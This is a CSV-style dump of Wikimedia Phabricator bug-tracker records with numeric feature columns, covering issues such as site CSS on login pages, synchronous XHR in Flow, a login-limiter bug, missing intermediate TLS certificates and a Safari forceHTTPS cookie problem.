321302,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,Many scripts/styles run on a site level; it does not make sense that they do not work on two pages. CSS is used e.g. in Arabic Wikipedia to adjust general font size and fix a bunch of directionality issues.,,,1412430270,,PHID-USER-v3j5otqjqf6zua6ibanh,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,False,,,-39,True,2.0,0.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,Many scripts/styles run on a site level; it does not make sense that they do not work on two pages. CSS is used e.g. in Arabic Wikipedia to adjust general font size and fix a bunch of directionality issues.
321295,Not loading site CSS on Special:UserLogin/Preferences breaks wikis which use it to create a skin/theme,Also bawolff's email: https://lists.wikimedia.org/pipermail/wikitech-l/2014-October/078903.html,,,1412366088,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-o6thfwgsk54xnsmig6b5,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Also bawolff's email: URL
73474,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),"Flow uses a synchronous XMLHttpRequest.  These should be avoided since it blocks waiting for a network response, and can create a bad UX.

For this reason, it's been actively deprecated in recent Firefox (30+), when used on the main thread (https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest), and will log a warning.

It is used in mw.flow.parsoid.convert.  This in turn is called twice, both from ext.flow.editor.js:

1. mw.flow.editor.load - https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FFlow/a4eda372ccbd733ff741d3e1369c25a1e561fcf0/modules%2Feditor%2Fext.flow.editor.js#L88 -  This is using promises already, so it should be straightforward to use an async call here.

2. mw.flow.editor.getContent - https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FFlow/a4eda372ccbd733ff741d3e1369c25a1e561fcf0/modules%2Feditor%2Fext.flow.editor.js#L88 - This is synchronous, and used by FlowBoardComponent.UI.events.globalApiPreHandlers.prepareEditor.  For this one, it also seems like it would be better to do the HTML->wikitext conversion on the server if possible, rather than round-trip a XHR call then post.

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1412095980,1427151908.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-37czexl6ekrvcmp2tyqq,False,PHID-TASK-brfpjwrwb75g4d3a6avv,task_description,resolved,True,c3,1,True,False,True,-40,True,0.0,0.0,0.0,2.0,0.0,6.0,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,9.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,4.0,0.5,3.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,12.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.0,4.0,10.5,2.0,2.0,8.0,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,3.0,9.0,4.5,0.0,0.0,0.0,3.0,0.0,0.5,3.0,0.0,1.0,0.5,0.0,1.0,4.230211598746082,0.7142763845350053,"Flow uses a synchronous XMLHttpRequest.  These should be avoided since it blocks waiting for a network response, and can create a bad UX.

For this reason, it's been actively deprecated in recent Firefox (30+), when used on the main thread (URL and will log a warning.

It is used in mw.flow.parsoid.convert.  This in turn is called twice, both from ext.flow.editor.js:

1. mw.flow.editor.load - URL -  This is using promises already, so it should be straightforward to use an async call here.

2. mw.flow.editor.getContent - URL - This is synchronous, and used by FlowBoardComponent.UI.events.globalApiPreHandlers.prepareEditor.  For this one, it also seems like it would be better to do the HTML->wikitext conversion on the server if possible, rather than round-trip a XHR call then post.

--------------------------
**Version**: master
**Severity**: normal"
431146,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),"Change 194871 merged by jenkins-bot:
Get rid of synchronous ajax calls

[[https://gerrit.wikimedia.org/r/194871]]",,,1427138420,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-brfpjwrwb75g4d3a6avv,task_subcomment,,True,c3,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6666666666666665,0.9047619047619048,"Change 194871 merged by jenkins-bot:
Get rid of synchronous ajax calls

[[GERRIT_URL]]"
422185,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),"Change 194871 had a related patch set uploaded (by Matthias Mullie):
Get rid of synchronous ajax calls

[[https://gerrit.wikimedia.org/r/194871]]
",,,1425657339,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-brfpjwrwb75g4d3a6avv,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8518518518518516,0.8888888888888888,"Change 194871 had a related patch set uploaded (by Matthias Mullie):
Get rid of synchronous ajax calls

[[GERRIT_URL]]
"
326575,R5. Flow uses synchronous XMLHttpRequests (VE+Flow),in backlog: https://trello.com/c/srayZcqf,,,1412272503,,PHID-USER-37czexl6ekrvcmp2tyqq,True,,,PHID-TASK-brfpjwrwb75g4d3a6avv,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,in backlog: URL
73272,Special:ChangePassword somehow triggers login limiter,"1. Try logging in 3-4 times and eventually decide to reset your password.
2. Log in with the e-mailed temporary password.
3. Observe it serves Special:ChangePassword in response to the login with the temp password, prompting me to change it.
4. Enter a new password
5. Submit ""Set password and log in""

Expected:
I'm now logged in and back on the page I was at before this (returnto)

Actual:

I'm back on the ChangePassword page, this time with a rather strange error:
 ""You have made too many recent login attempts. Please wait 5 minutes before trying again.""



Strange, because I didn't make a log in attempt this time, and even if the one the system did for me was counted as a login attempt, it couldn't have been a failed attempt, so why would it be rejected?

For the record, my login attempts in step #1 before I reset the password did not result in any error or block (at least not visible to the user).


Possibly related:
 https://bugzilla.wikimedia.org/show_bug.cgi?id=53655

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1411605180,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-bkfsuxhpogixcrlq32pq,task_description,open,True,c3,1,True,False,,-40,True,0.6666666666666666,0.0,0.0,0.6666666666666666,1.6666666666666667,4.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,3.3333333333333335,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,5.666666666666667,9.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.6666666666666667,1.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,5.333333333333333,1.3333333333333333,8.666666666666666,1.0,1.6666666666666667,7.0,0.0,0.0,0.0,0.3333333333333333,5.0,0.3333333333333333,1.6666666666666667,0.0,5.0,9.666666666666666,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,5.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,1.0,0.0,0.3333333333333333,1.3333333333333333,3.533281893004115,0.6943930041152263,"1. Try logging in 3-4 times and eventually decide to reset your password.
2. Log in with the e-mailed temporary password.
3. Observe it serves Special:ChangePassword in response to the login with the temp password, prompting me to change it.
4. Enter a new password
5. Submit ""Set password and log in""

Expected:
I'm now logged in and back on the page I was at before this (returnto)

Actual:

I'm back on the ChangePassword page, this time with a rather strange error:
 ""You have made too many recent login attempts. Please wait 5 minutes before trying again.""



Strange, because I didn't make a log in attempt this time, and even if the one the system did for me was counted as a login attempt, it couldn't have been a failed attempt, so why would it be rejected?

For the record, my login attempts in step #1 before I reset the password did not result in any error or block (at least not visible to the user).


Possibly related:
 URL

--------------------------
**Version**: unspecified
**Severity**: normal"
329035,Special:ChangePassword somehow triggers login limiter,"Created attachment 16577
Screenshot of bug.

**Attached**: {F15195}",,,1411605539,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-bkfsuxhpogixcrlq32pq,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8333333333333334,"Created attachment 16577
Screenshot of bug.

**Attached**: {F15195}"
72326,Ganglia server doesn't send intermediary certificates,"The certificate chain is incomplete because ganglia.wikimedia.org server does not send the intermediary certificate of RapidSSL CA. Some browsers might display a warning to users.

https://www.ssllabs.com/ssltest/analyze.html?d=ganglia.wikimedia.org

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1409725740,1433463609.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-eyjehucsnoijmixhmo4e,task_description,resolved,True,c3,1,True,True,True,-44,True,2.0,0.0,0.0,0.0,2.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,14.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.795918367346939,0.7551020408163265,"The certificate chain is incomplete because ganglia.wikimedia.org server does not send the intermediary certificate of RapidSSL CA. Some browsers might display a warning to users.

URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
469536,Ganglia server doesn't send intermediary certificates,"ah, thanks for the reminder @Chmarkine :)",,,1433463728,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,1.0,"ah, thanks for the reminderSCREEN_NAME :)"
469534,Ganglia server doesn't send intermediary certificates,This has been fixed in T100825.,,,1433463609,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This has been fixed in T100825.
465964,Ganglia server doesn't send intermediary certificates,this should be fixed once we merge https://gerrit.wikimedia.org/r/197341,,,1432930100,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,this should be fixed once we merge GERRIT_URL
394314,Ganglia server doesn't send intermediary certificates,Looks like stats is also OK now. Just ganglia.,,,1420001568,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.9090909090909091,Looks like stats is also OK now. Just ganglia.
332332,Ganglia server doesn't send intermediary certificates,noc.wikimedia.org was fixed.,,,1416794523,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,noc.wikimedia.org was fixed.
321467,Ganglia server doesn't send intermediary certificates,metrics.wikimedia.org has been fixed.,,,1411614754,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-40,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.8,1.0,metrics.wikimedia.org has been fixed.
321459,Ganglia server doesn't send intermediary certificates,"There are three more, so all together:

[1] noc.wikimedia.org
https://www.ssllabs.com/ssltest/analyze.html?d=noc.wikimedia.org

[2] stats.wikimedia.org
https://www.ssllabs.com/ssltest/analyze.html?d=stats.wikimedia.org

[3] ganglia.wikimedia.org
https://www.ssllabs.com/ssltest/analyze.html?d=ganglia.wikimedia.org

[4] metrics.wikimedia.org
https://www.ssllabs.com/ssltest/analyze.html?d=metrics.wikimedia.org",,,1409726594,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-eyjehucsnoijmixhmo4e,task_subcomment,,True,c3,1,True,,,-44,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.945945945945946,0.5945945945945946,"There are three more, so all together:

[1] noc.wikimedia.org
URL

[2] stats.wikimedia.org
URL

[3] ganglia.wikimedia.org
URL

[4] metrics.wikimedia.org
URL"
72145,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I've observed this for a couple weeks now at various times on multiple iOS devices (iPhone 5 and iPad 2). It may be affecting all mobile devices, or maybe just Safari; not sure. 

Steps to repro:

1. On iOS mobile device, type beta labs URL into Safari or follow a link to beta labs from email.
2. Go to login page and enter username/pw. Tap login.

You'll get taken to a ""Safari cannot open page because it could not connect to the server"" page. Makes testing new mobile features very difficult :(

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=71079",Medium,50.0,1409268780,,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_description,open,True,c3,1,True,False,,-44,True,0.5,0.0,0.5,0.0,2.0,5.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,10.0,0.5,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,2.5,7.0,4.0,0.0,1.5,0.0,2.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.5,3.4419710806697106,0.709855403348554,"I've observed this for a couple weeks now at various times on multiple iOS devices (iPhone 5 and iPad 2). It may be affecting all mobile devices, or maybe just Safari; not sure. 

Steps to repro:

1. On iOS mobile device, type beta labs URL into Safari or follow a link to beta labs from email.
2. Go to login page and enter username/pw. Tap login.

You'll get taken to a ""Safari cannot open page because it could not connect to the server"" page. Makes testing new mobile features very difficult :(

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
392630,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",@greg: I can confirm this bug is still occurring.,,,1419376965,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.2727272727272725,1.0,SCREEN_NAME: I can confirm this bug is still occurring.
332769,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster","I've tripped on this problem a couple times in the last week again myself. I'm using Chrome and have seen the forceHTTPS=1 cookie end up set when logging in to beta. This results in failed attempts to connect to https://... and then needs me to clear the cookie to get back to looking at beta sites.

It would be nice to be able to ignore the cookie entirely in environments like beta where we actually don't have a TLS endpoint. (Or get TLS setup for beta: {T70387})",,,1416872272,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,1.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,5.0,0.0,8.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,10.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,6.0,17.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,3.74,0.72,"I've tripped on this problem a couple times in the last week again myself. I'm using Chrome and have seen the forceHTTPS=1 cookie end up set when logging in to beta. This results in failed attempts to connect to URL and then needs me to clear the cookie to get back to looking at beta sites.

It would be nice to be able to ignore the cookie entirely in environments like beta where we actually don't have a TLS endpoint. (Or get TLS setup for beta: {T70387})"
332763,"Safari sets forceHTTPS=deleted incorrectly, causing login failure on Beta Cluster",">>! In T72145#730119, @csteipp wrote:
> On the MediaWiki side, we check for the presence of a forceHTTPS cookie in MediaWiki.php, so when safari hands us back the cookie forceHTTPS=deleted, it triggers the redirect to https.
> 
> The check could ensure that the cookie value isn't ""deleted"", since we set it to 1 when we want users to stay in https.

Assuming this is still the case (Kaldari: can you confirm?), let's try that route.",,,1416871876,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-2mnvp7bdsv6ujlrtpper,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,0.0,14.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2413793103448274,0.8275862068965517,"QUOTE
QUOTE
QUOTE
QUOTE

Assuming this is still the case (Kaldari: can you confirm?), let's try that route."
